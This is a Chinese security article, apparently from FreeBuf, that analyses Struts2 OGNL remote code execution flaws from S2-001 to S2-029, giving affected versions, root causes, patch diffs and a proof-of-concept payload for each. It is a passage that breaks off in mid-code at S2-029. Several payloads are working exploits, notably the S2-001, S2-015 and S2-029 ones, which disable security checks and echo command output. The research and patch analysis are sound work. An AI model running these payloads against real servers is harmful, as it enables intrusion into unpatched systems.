    EL 简介 EL 基本语法 [] 与 . 运算符变量操作符隐式对象EL 函数EL 调用 Java 方法JSP 中启动/禁用 EL 表达式 全局禁用 EL 表达式单个文件禁用 EL 表达式EL 表达式注入漏洞 CVE-2011-2730JUEL绕过方法 利用反射机制利用 ScriptEngine 调用 JS 引擎绕过防御方法 参考 SpEL 简介 SpEL 使用 注解 @Value 用法XML 配置用法Expression 用法SpEL 表达式注入漏洞 漏洞原理过程分析ByPass回显读写文件检测与防御 检测方法防御方法参考 OGNL 简介 OGNL 三要素 ActionContextValueStackOGNL 基本语法 基本对象树访问容器变量访问操作符号容器、数组、对象静态方法或变量的访问方法调用投影和选择OGNL 语法树 其它 . 符号%, #, $ 的区别., #, @ 的区别OGNL 与 EL 的区别 能解析 OGNL 的 API OGNL 表达式注入漏洞 漏洞原理POC过程分析Payload 参考 本站由阿里云 提供计算与安全服务 用户服务 有奖投稿 提交漏洞 参与众测 商城 企业服务 安全咨询 产业全景图 企业SRC 安全众测 合作信息 斗象官网 广告投放 联系我们 友情链接 关于我们 关于我们 加入我们 微信公众号 新浪微博 战略伙伴 FreeBuf+小程序 扫码把安全装进口袋 斗象科技 FreeBuf 漏洞盒子 斗象智能安全平台 免责条款 协议条款

    Copyright © 2020 WWW.FREEBUF.COM All Rights Reserved

       沪ICP备13033796号

    |

    沪公安网备

    Struts2基于OGNL的RCE漏洞全解析 - FreeBuf网络安全行业门户

    Struts2基于OGNL的RCE漏洞全解析 - FreeBuf网络安全行业门户

    主站 分类

    漏洞

    工具

    极客

    Web安全

    系统安全

    网络安全

    无线安全

    设备/客户端安全

    数据安全

    安全管理

    企业安全

    工控安全

    特色

    头条

    人物志

    活动

    视频

    观点

    招聘

    报告

    资讯

    区块链安全

    标准与合规

    容器安全

    公开课

    报告 专辑 ···公开课···商城···

    用户服务

    ··· 行业服务

    政 府

    CNCERT

    CNNVD

    会员体系(甲方)

    会员体系(厂商)

    产品名录

    企业空间

    知识大陆 搜索 创作中心 登录注册 官方公众号企业安全新浪微博 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。 FreeBuf+小程序把安全装进口袋 Struts2基于OGNL的RCE漏洞全解析

    关注

    漏洞Web安全 Struts2基于OGNL的RCE漏洞全解析

    2019-10-30 08:00:09

    本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载

    引言 最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线,但我觉得作为曾经红极一时的经典系列RCE漏洞,对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的,所以这篇文章对ST2中由于OGNL造成的RCE漏洞的成因、修复方案一一作了分析,希望能让各位看官对ST2和OGNL能够有一个深入的认知。 环境搭建 笔者为了方便调试各个版本的漏洞临时搭建了一个maven的环境,比较拙劣,就不拿出来给各位看官造成困扰,但是在GitHub上我找到了一个非常棒的ST2各个版本漏洞调试环境,在这里推荐给大家。 不过其实为了提升对漏洞的认知,我还是非常建议自己去搭建环境的。 ognl表达式基础 这里直接通过一段实例代码来解释ognl表达式的一些常规使用,import ognl.Ognl;

    import ognl.OgnlContext;

    import java.util.HashMap;

    import java.util.Map;

    public class User {

    private String name;

    private Integer age;

    public User() {

    super();

    }

    public User(String name, Integer age) {

    super();

    this.name = name;

    this.age = age;

    }

    public String getName() {

    return name;

    }

    public void setName(String name) {

    this.name = name;

    }

    public Integer getAge() {

    return age;

    }

    public void setAge(Integer age) {

    this.age = age;

    }

    public static void main(String[] args) throws Exception {

    User rootUser = new User("tom",18);

    Map context = new HashMap();

    context.put("user1",new User("jack",20));

    context.put("user2",new User("rose",22));

    OgnlContext oc = new OgnlContext();

    //ognl由root和context两部分组成

    oc.setRoot(rootUser);

    oc.setValues(context);

    //get ognl的root的值的时候,直接写希望获取的值的名字就可以了

    String name = (String) Ognl.getValue("name",oc,oc.getRoot());

    Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());

    //get ognl非root的值的时候,需要使用#

    User name1 = (User) Ognl.getValue("#context['user1']",oc,oc.getRoot());

    String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());

    Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());

    Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());

    //ognl的getValue函数可以直接执行java函数

    Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot());

    //访问静态属性和方法的时候需要使用@

    Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')",oc.getRoot());

    }

    } S2-001 适用版本:2.0.0 - 2.0.8 简易POC%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")} 只命令执行,无回显。 实用POC%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 通过重写response实现命令回显。 注意1:tomcat在处理post参数的时候遇到 %{*}的形式会报空指针异常,所以post参数传的时候要做url编码。 注意2:为了研究的目的,仅第一版POC给出实用版,剩下的研究仅提供简易版来验证RCE的存在。 漏洞原理 ognl表达式的getValue函数本身具有执行java代码的能力,最基础的形式如下:public class Ognltest {

    public static void main(String[] args) throws OgnlException {

    OgnlContext context = new OgnlContext();

    Object obj = Ognl.getValue("'helloworld'.length()",context);

    System.out.println(obj);

    Object obj1 = Ognl.getValue("@java.lang.String@format('foo %s','bar')",context);

    System.out.println(obj1);

    Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')",context);

    }

    } 也就是说,当Ognl.getValue的第一个参数可控的时候,就可以造成RCE。 struts2用来处理传入参数以及request中各项参数的值栈OgnlValueStack在进行取值的时候,就会去调用ognl的getValue参数,从而造成命令执行。 看一下调用栈,只跟到Ognl.getValue,因为到这一步已经可以确认RCE了 先说一下为什么触发点是从doEndTag开始:当你在输入框中输入了用户名或密码后,ST2需要将你输入的值保留在jsp页面表单对应的value上,所以就会去调用doEndTag方法。 关键函数在TextParseUtil.translateVariables public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {

    Object result = expression;

    while(true) {

    int start = expression.indexOf(open + "{");

    int length = expression.length();

    int x = start + 2;

    int count = 1;

    while(start != -1 && x < length && count != 0) {

    char c = expression.charAt(x++);

    if (c == '{') {

    ++count;

    } else if (c == '}') {

    --count;

    }

    }

    int end = x - 1;

    if (start == -1 || end == -1 || count != 0) {

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);

    }

    String var = expression.substring(start + 2, end);

    Object o = stack.findValue(var, asType);

    ...

    }

    } translateVariables函数传过来的open参数的值是'%',在截取var的时候是截取的 open+{ 之后的字符串,并把var传入stack.getValue,这也是我们的poc构造的时候要写成%{*}形式的原因。进入stack.getValue之后就是顺理成章的进入到Ognl.getValue中去了。 关于实用版本的POC,还有有一个值得一提的地方,就是如何让命令进行回显,这里就是通过struts2处理response的com.opensymphony.xwork2.dispatcher.HttpServletResponse类来写入了我们命令执行的回显。不过随着struts版本的升级,处理response的类会改变,因此写入回显的类也会发生变化。 修复 去看一下S2-001的修复代码,修复放也在了TextParseUtil.translateVariables函数中, public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {

    Object result = expression;

    int loopCount = 1;

    int pos = 0;

    while(true) {

    int start = expression.indexOf(open + "{", pos);

    if (start == -1) {

    int pos = false;

    ++loopCount;

    start = expression.indexOf(open + "{");

    }

    if (loopCount > maxLoopCount) {

    break;

    }

    int length = expression.length();

    int x = start + 2;

    int count = 1;

    while(start != -1 && x < length && count != 0) {

    char c = expression.charAt(x++);

    if (c == '{') {

    ++count;

    } else if (c == '}') {

    --count;

    }

    }

    int end = x - 1;

    if (start == -1 || end == -1 || count != 0) {

    break;

    }

    String var = expression.substring(start + 2, end);

    Object o = stack.findValue(var, asType);

    ...

    ...

    int length2 = (left == null || left.length() <= 0) ? 0 : left.length() - 1;

    int length3 = (middle == null || middle.length() <= 0) ? 0 : middle.length() - 1;

    pos = Math.max((length3 + length2) + MAX_RECURSION, MAX_RECURSION);

    ...

    }

    } ST2在修复漏洞的时候,不像一般的框架通过抛异常的方式,所以分析修复还需要把两个版本的jar包做一下比对,而且修复点还是放在了xwork的jar里面,这点需要留意。 因为ST2在处理stack值栈的时候,是根据传入的expression是否是%{}的形式来判断这个参数是否需要传给Ognl.getValue的,POC也正是利用了这一点,把形如 %{}的特殊参数值传了进去。这次修复的时候,在判断expression是否形如%{}的时候加入了一个起始位置判断参数pos(而不是所有的值都是从起始位开始计算),这样的话是防止了构造特殊参数值的问题。但与此同时,我们也能看出ST2因为自身需要,无法对%{}这种写法进行禁用,这次的特殊值是从post的参数值传过来的,下一次也可能从很多其他地方传过来,毕竟不论是header还是post的参数名等很多从request传过来的值都是需要放在OgnlValueStack中的,所以,以此为基点,也开始拉开了ST2不断被发掘RCE的起点。 S2-003 适用版本:2.0.0 - 2.1.8.1 tomcat版本要求:6.0 因为高版本的tomcat遇到了S2-003的POC中的特殊字符会报错,所以这个漏洞的复现只能在Tomcat的6.0及以前版本复现。 同Ognl.getValue,Ognl.setValue同意具有执行java代码的能力,写法如下,OgnlContext context = new OgnlContext();

    Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,""); 看一下这个ognl的表达式,表面上去看上去是有点诡异的,在我们上面的getValue的exp后面多了个(glassy)(amadeus),关于ognl对上面这串表达式的执行流程是,ognl首先对(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)当做表达式进行计算,这个表达式返回了带有payload的ASTEval树,然后以amadeus为root再对这个AST树进行计算,从而造成了RCE. 如果觉得笔者说的不够详细还可以直接去看一下官方的原文解释。 S2-003就是利用了Ognl.setValue的执行java代码的能力造成的RCE。 简易POChttp://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b) POC和Ognl表达式区别不大,只有两点需要留意: 1.多了一个将xwork.MethodAccessor.denyMethodExecution的值设为false的操作。 2.一些敏感字符(@、\=、#)被写成了\u00??的形式。 具体原因在原理中给出。 原理 poc要分两部分分析,第一部分('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b) 先url变成未编码的样式去看('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(a)(b) 看变量名都能明白是什么意思denyMethodExecution,将禁止方法执行设置为了flase,也就是允许方法执行。 第二部分('\u0040java.lang.Runtime@getRuntime().exec(\'open%\u0020/Applications/Notes.app/\')')(a)(b)就是我们希望传给Ognl.setValue的值('@java.lang.Runtime@getRuntime().exec(\'open /Applications/Notes.app/\')')(a)(b) 看一下调用栈, 其中在ParametersInterceptor的doIntercept方法中,可以看到把denyMethodExecution设置为了true,这也是我们poc第一部分要把值修改一下的原因, 否则的话,在调用getRuntime方法的时候,会报错,具体判断代码在XWorkMethodAccessor的callStaticMethod方法中。 public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {

    Boolean exec = (Boolean)context.get("xwork.MethodAccessor.denyMethodExecution");

    boolean e = exec == null ? false : exec;

    return !e ? super.callStaticMethod(context, aClass, string, objects) : null;

    } 然后我们再来看一下两部分POC的字符都写成\u00??的样式的原因,第一点,我们先理解一下为什么写成这种形式,代码能识别, 看一下OgnlUtil类的setValue函数,可以看到它在调用Ognl.setValue的时候,会先把传过来的name放到compile函数中做一下处理,也正是这个处理将\u00??转化成了其url解码后对应的字符。 public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {

    Ognl.setValue(compile(name), context, root, value);

    } 上面解释了编码后字符能够被识别的原因,现在我们来看一下为什么要编码,在参数进入到ParametersInterceptor的setParameters函数的时候,要把参数放到acceptableName函数中做一下判断,如果不满足判断,就不会对后续参数进行处理,看一下这个函数, protected boolean acceptableName(String name) {

    return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);

    } 可以看到是有一个黑名单的,也可以发现'#'对应的ascii 35是在这个黑名单里面的,所以我们才需要进行编码。 但是从黑名单里面可以看到,‘@’对应的ascii 64并不在黑名单之中,那为什么它也要进行编码呢,我们去比对一下@编码和不编码的时候的params值的区别,因为params值在后续是会轮流放进Ognl.setValue方法中的, 其中有一处看上去不起眼的区别就是,poc的两部分的顺序发生了变化,而因为后面的Ognl.setValue的调用是按照params的顺序进行的,一旦造成RCE的poc部分在设置denyMethodExecution的poc部分之前执行了,就会抛出异常了,这就是‘@’字符不在黑名单中也要做一个编码的原因。 不过这个poc只适用到2.0.11到2.0.11.1和2.0.11.1不再使用indexOf来做黑名单匹配,而改使用了[\p{Graph}&&[^,#:=]]*这个正则去做匹配,效果一样。 后续的操作就是Ognl.setValue造成RCE的部分,就不再分析了。 修复 这次漏洞修复的补丁比较复杂一点,先对修复前后两个版本的xwork的jar包做一个比对,可以看到关键的修复部分在ParametersInterceptor的setParameters处 还有OgnlValueStack中新增了一个allowStaticMethodAccess成员变量和SecurityMemberAccess成员对象, 动态调试一下,就可以发现在stack中多了一个securityMemberAccess变量,其中关键的成员变量allowStaticMethodAccess和excludeProperties为后续能否调用函数做了一下判断。具体的判断位置分别在SecurityMemberAccess的isAccessible函数和isExcluded函数中。 S2-005 适用版本:2.0.0 - 2.1.8.1 tomcat版本要求:6.0 S2-005就是对于S2-003的绕过,从上面的修复可以看到,补丁的关键部分在于通过对securityMemberAccess的两个成员变量allowStaticMethodAccess和excludeProperties对OGNL表达式能否加载函数,然而通过OGNL表达式,我们可以改写这两个变量的值(和denyMethodExecution是一个套路),来实现补丁的绕过。我们需要做的事情就是保证allowStaticMethodAccess的值为真,excludeProperties的值为空。 简易POChttp://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b) 原理 关于绕过思路,没有什么好说的了,我们在这里就讨论一下怎么去构造这个payload,也就是#_memberAccess.allowStaticMethodAccess=false这个#_memberAccess是怎么来的。 其实struts2的SecurityMemberAccess类是ognl中DefaultMemberAccess类的一个子类,在使用Ognl进行getValue的时候,会把这个SecurityMemberAccess传递给ognl,使用我们只需要去看看ognl怎么设置MemberAccess的值就OK了。去看一下Ognl类的setMemberAccess函数,public static void setMemberAccess(Map context, MemberAccess memberAccess) {

    context.put(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY, memberAccess);

    } 再去看一下OgnlContext.MEMBER_ACCESS_CONTEXT_KEY的值,就找到了_memberAccess,public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess"; 关于_memberAccess.excludeProperties的空值怎么构造,只需要把程序断点打到excludeProperties赋值前,就可以看到空值是什么样子的了, 修复 S2-005的补丁就是加强了ParametersInterceptor.acceptableName函数的正则,把正则换成了更精准额匹配:[a-zA-Z0-9.][()_'\s]+ S2-007 适用版本:2.0.0 - 2.2.3 S2-007的利用场景比较苛刻,要求对提交的参数配置了验证规则并对提交的参数进行类型转换的时候会造成OGNL表达式的执行。 简易POC 假设user.birthDay做了类型转换。user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com 原理 在这里先介绍一下ST2如何处理各种数据(客户端穿来的param,生成的日志等),所有的数据优先都会先去找到DefaultActionInvocation类,再由DefaultActionInvocation交给对于的Interceptor处理,总共有16个Interceptor,都可以在xwork-default.xml中看到,

    class="com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor"/>

    关于S2-007漏洞的触发是和类型转换报错有关的,我们很容易就找到了ConversionErrorInterceptor,看名字就知道类型转换报错是交给这个类处理的, 跟进ConversionErrorInterceptor的intercept函数,可以看到我们构造的payload被取出后,进到了getOverrideExpr函数 看一下getOverrideExpr函数,其实就是把我们的payload用单引号阔起来了,这也就解释了为什么我们的payload是形如 ' + (*) + '的形式,就是为了逃逸这个单引号, 然后我们以kay-value的形式将param-payload存入名为fakie的变量中,继续往下,看到最后fakie被放到了setExprOverrides函数中, 根据setExprOverrides函数,就是讲param-payload的这个变量放到了stack的overrides中了, 接下来我们就去跟进一下造成RCE的调用栈,只跟进到ognl.getValue()剩下的都是前文的内容了, 其实总体上的调用栈和001非常相似,唯一我们需要留意的就是payload是从哪里获取的,看一下OgnlValueStack的tryFindValue,看到进入getvalue的expr的值是从lookupForOverrides中获取的, 跟进lookupForOverrides函数,就可以看到我们把ConversionErrorInterceptor在处理payloay的时候放进overrides的值给拿出来了,接下来就是顺理成章的交给ognl.getValue()造成rce。 修复 看一下007的修复,在ConversionErrorInterceptor的getOverrideExpr中对value的值做了一下escape,防止再从引号里面逃逸出来。 S2-009 适用版本:2.0.0 - 2.3.1.1 tomcat版本要求:6.0 S2-009其实就是对003和005的绕过,通过上面的修复分析,我们可以看到对于参数名的正则限制,已经可以保证在参数名方面寻找绕过方式是很困难的了,于是009把绕过的重点放到了参数值上, 首先去看一个ognl.setValue造成rce的一种新的写法,OgnlContext context = new OgnlContext();

    Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)");

    Ognl.setValue("a[(password)(glassy)]",context,"true"); 第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。 其实想造成RCE把a[(password)(glassy)]写成(password)(glassy)的形式就可以成功,但是由于我们构造payload的地方在参数名处,因此我们还需留意让payload保持着参数名的正常格式,否则是没法被st2作为参数名完整的传到OGNL中的。 简易POChttp://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true 原理 看一下调用链,其实一看是param方面的问题,直接去看ParametersInterceptor类就完事了, 漏洞成因其实就是把造成RCE的位置从参数名改到了参数值的位置,从而绕过了003和005补丁中对参数名的正则过滤,在OGNL中造成RCE的成因在上面已经分析完毕,不再重复。 修复 这次漏洞修复分为了两个部分, 1.加强了对参数名正则的限制,使形如a[(password)(glassy)]的参数名被过滤掉了。 2.在将param传给ognl的时候会去检查生成的AST树是否具有执行权限,如果有的话,就会抛出异常。 S2-012 适用版本:Struts Showcase 2.0.0 - Struts Showcase 2.3.14.2 简易POC 低版本struts,即还没引入allowStaticMethodAccess的poc%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()} 这次的poc没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因) 在showcase app中的利用位置, 原理 造成这个RCE的问题出在了重定向上,当需要从ST2的值栈中读取数据作为重定向的参数,而这个值又是前端可控的情况下可以造成RCE。(也就是说其实不在showcase app中有类似场景也能造成RCE,只是这种情景比较少见。)

    edit.action?skillName=${currentSkill.name}

    看一下调用栈, 因为这一次造成RCE是重定向的时候,这个时候各个Interceptor已经处理完传来的数据,RCE的调用也是从DefaultActionInvocation.executeResult往后走, 往后走后需要计算重定向的值,而重定向的值需要从stack中去取, 而stack处理取值的时候是使用递归的方式取值,首先取出currentSkill.name的值,发现值是ognl表达式,然后再去调ognl.getValue从而造成了RCE 修复 其实currentSkill.name在进入ognl.setValue的时候同样进入了之前修复001的时候的补丁代码,那么为什么这一次补丁代码没有生效呢。 原因就在于下图,之前的补丁修复方式就是把递归的pos放到了计算的结果后面,比如如果计算完了%{password}的值,下一次计算是从%{password}后面开始计算,然而这个补丁中有一个会重置pos为0的循环, 之前补丁能生效,是因为处理param的时候openChar只有1个字符,无法重置pos, 而使用重定向的功能的时候,传给evaluate的函数有两个openChar,从而导致循环的时候把本应该值是135(payload的长度)的pos重置为了0,从而重新把payload带入了ognl,造成了RCE。 使用这次修复代码十分简单,把pos=0放到了for循环外,防止对openChar做循环的时候把pos重置成0了。 S2-013 适用版本:2.0.0 - 2.3.14.1 013的利用场景比012还要苛刻,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get,我这边给出我写的示例jsp<%@ taglib prefix="s" uri="/struts-tags" %>

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>

    ST2-013 Test

    test

    简易POChttp://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d 原理 文字说明一下造成rce的流程:jsp通过s:url或s:a标签来动态生成跳转的action的时候,如果想把jsp里面的参数带到action的后面,就需要配置includeParams,这样的话服务端就会先去拿到jsp的参数,并带到ST2的ognl里面计算一下这个参数再去拼接到action后面,从而造成了rce。 调用栈如下, buildParameterSubstring会把传入的参数的值放到translateVariables函数中,而translateVariables就把值交给了ognl的getValue从而造成了RCE。 修复 只对传过来的参数做一下urlencode,不在放到ognl里面去计算了。 S2-015 适用版本:2.0.0 - 2.3.14.2 这个poc也是对服务端配置有一点要求的,它要求当ST2使用通配符‘*’来做action映射的时候才能利用成功。 配置在struts.xml中,示例如下

    /example/{1}.jsp

    ST2处理通配符配置的action映射的时候流程是这样的:如果一个请求的action在映射中不存在,那么就会去匹配通配符,ST2会根据请求的action名来加载对应的jsp文件。以上面的配置为例子,当请求一个struts.xml中不存在的test.action的时候,ST2就会去吧/example/test.jsp的内容返回给前端。 实用POChttp://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action 这一次的poc给出了实用版本的poc,主要原因在于之前的简易poc都是以打开计算器为实例,而这一次由于造成rce的位置在路径位置,导致带有 ‘/’ 的命令无法进入到ST2的ognl,所以只能使用ifconfig这种简单的命令,想验证执行就需要有回显(这里指的是mac下的复现情况)。 原理 先看调用栈, 这个漏洞的触发流程和012的流程差不多,012是在各个Interceptor处理完毕,开始计算重定向位置的时候造成的RCE,015是在各个Interceptor处理完毕,计算定向的jsp的时候造成的RCE,RCE的调用也是从DefaultActionInvocation.executeResult往后走, 具体的数据流也是和012相差无几的,这里就不再详细分析。 修复 修复就是对actionname做了正则限制。 S2-016 适用版本:2.0.0 - 2.3.15 ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。一看到这两个写法后面跟的是表达式,一定意义上就看到了RCE的可能性。 简易POChttp://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d 原理 先看调用栈, 调用栈和原理也和012几乎一样不再详细分析。 唯一需要注意的就是ST2对类似于redirect:这样的写法的处理是统一放在DefaultActionMapper里的,感兴趣的可以自己去看一下源码, 修复 修复方式十分简单粗暴,把这种用法给删除, 只留下了action:和method:两种无害的写法。(因为通过actionname造成的RCE已经在015漏洞处修复,所以action:这种写法就算是无害的了。) S2-019 适用版本:2.0.0 - 2.3.15.1 019漏洞要求ST2开启开发者模式才能利用成功,不过ST2默认情况下开发者模式是打开的,如果想关闭,需要在struts.xml中添加如下配置, 简易POC 随便找个action,param的话post和get都行,http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start() 原理 看这个漏洞要求开发者模式,且poc第一个参数是debug,就知道触发点应该是在DebuggingInterceptor上,去看一下intercept函数,整个利用一目了然, public String intercept(ActionInvocation inv) throws Exception {

    boolean actionOnly = false;

    boolean cont = true;

    Boolean devModeOverride = FilterDispatcher.getDevModeOverride();

    boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;

    final ActionContext ctx;

    if (devMode) {

    ctx = ActionContext.getContext();

    String type = this.getParameter("debug");

    ctx.getParameters().remove("debug");

    if ("xml".equals(type)) {

    inv.addPreResultListener(new PreResultListener() {

    public void beforeResult(ActionInvocation inv, String result) {

    DebuggingInterceptor.this.printContext();

    }

    ...

    ...

    } else if ("command".equals(type)) {

    ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");

    if (stack == null) {

    stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");

    ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);

    }

    String cmd = this.getParameter("expression");

    ServletActionContext.getRequest().setAttribute("decorator", "none");

    HttpServletResponse res = ServletActionContext.getResponse();

    res.setContentType("text/plain");

    try {

    PrintWriter writer = ServletActionContext.getResponse().getWriter();

    writer.print(stack.findValue(cmd));

    writer.close();

    } catch (IOException var17) {

    var17.printStackTrace();

    } 从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。 修复 这个漏洞说是利用只到2.3.15,但是我在2.3.16依旧可以利用成功,我猜官方的意思应该就是debug下允许这种操作,所以提倡使用者关闭开发者模式吧。 S2-029 适用版本:2.0.0 - 2.3.24.1 (不包括2.3.20.3) 029的利用场景比较苛刻,所以在官方的漏洞定级上,比以往的RCE漏洞定级要低。 这次的RCE是一个二次的ongl表达式执行,它不再是像之前大多漏洞,随便找一个action就可以执行,它需要一个映射的jsp中将形如${name}的字符放到ST2的标签的属性中的action,然后通过将name参数构造出特殊的ognl表达式才能造成RCE。 下面给出示例写法, 实用poc 这次的实用POC非常好写,不需要重写response类,因为ST2会把插入的OGNL表达式的结果当做标签的value返回给前端。http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream())) 原理 看一下调用栈, 其实这个漏洞和001有着很大的相似性,001就是在返回jsp的时候需要把输入的值放到jsp标签的value中,所以先把这个参数名放到了ognl.getvalue中,而当它的值又是ognl表达式的时候,就会递归的放进getvalue中导致了RCE。因为后续的补丁已经从根本上隔绝了绕过的可能性,所以这次的漏洞就是保证了payload在进入补丁代码前就已经是ognl表达式的格式(即%{*})。 当前端标签的属性值存在本来就是%{*}的格式的情况,只需要传入ognl表达式,就可以保证payload在传到UIBean的evaluateParams函数的时候,name就已经是一个ST2的ognl表达式格式了,这样在后续的处理中就会顺理成章的交给ognl.getvalue,从而导致了RCE。 问题的关键在于completeExpressionIfAltSyntax函数给我们传进的表达式放到了%{}之中, protected String completeExpressionIfAltSyntax(String expr) {

    return this.altSyntax() ? "%{" + expr + "}" : expr;

